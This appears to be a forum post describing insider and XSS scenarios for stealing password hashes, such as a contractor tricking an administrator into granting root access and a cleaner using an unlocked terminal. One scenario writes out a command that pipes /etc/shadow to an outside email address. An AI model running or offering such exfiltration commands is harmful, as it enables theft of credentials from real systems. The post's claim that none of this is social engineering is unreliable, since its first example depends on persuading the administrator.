People with malicious intentions could go about stealing sensitive information (i.e. passwords) via the following methods.
Example: The malicious hacker takes up employment for the attacked company as a developer on a 3-month contract and is given a shell account on a server with limited privileges and I ask the system administrator to check for an unknown problem that hinders my work. I managed to persuade him/her to give me root privileges to a shell script written by me on for five minutes, as it helps to customize to work environment and greatly speeds up my project. As he is busy with other things and has a meeting in ten minutes, he gives me
root privileges to my custom script for 10 minutes. I have set up a trap, the malicious script is run with root privileges, which emails the
/etc/shadow file to my company email account. A few weeks later after I will have granted my VPN access, I will VPN in from my home machine and I will get a copy/paste from my company email to my home desktop. I obtained the password hashes.
- Unauthorised physical access to workstations
Example: A malicious hacker takes up employment as a cleaner for the cleaning business who subcontracts for the company is being attacked. He is authorised access to the premises of the IT department, including the system administrator or chief developers' desk. He looks for passwords or sensitive information on post-it notes, or tries to find unlocked workstations etc. Sooner or later he'll find one. Imagine the open terminal of the system administrator who accidentally left his shell terminal open after he had left for home in a rush. Of course, the
sudo privileges with
root access is still open as he had forgotten to lock his workstation...while he is cleaning up his desk, brushing off dust from his keyboard, looks around, no-one is watching, the whole office is empty, everyone had gone home for the day. He quickly types
cat /etc/shadow | mail email@example.com and he obtains the password hashes.
Example: against a poorly protected web server a malicious hacker manages to run a XSS script, where the code injection runs a command which mails him the file called
/root/my.cnf which the system administrator had forgotten to remove ever since the web server with MySQL had been set up. He had thought that his HOME directory was safe anyway, so he thought removing files including passwords from root's HOME was not a high priority. The MySQL password happens to be the same as the
root password on that machine. With the root password, it's no mean feat to obtain other sensitive information for other more protected servers' passwords.
The above methods are I believe not social engineering. Hope this helps to widen your imagination :)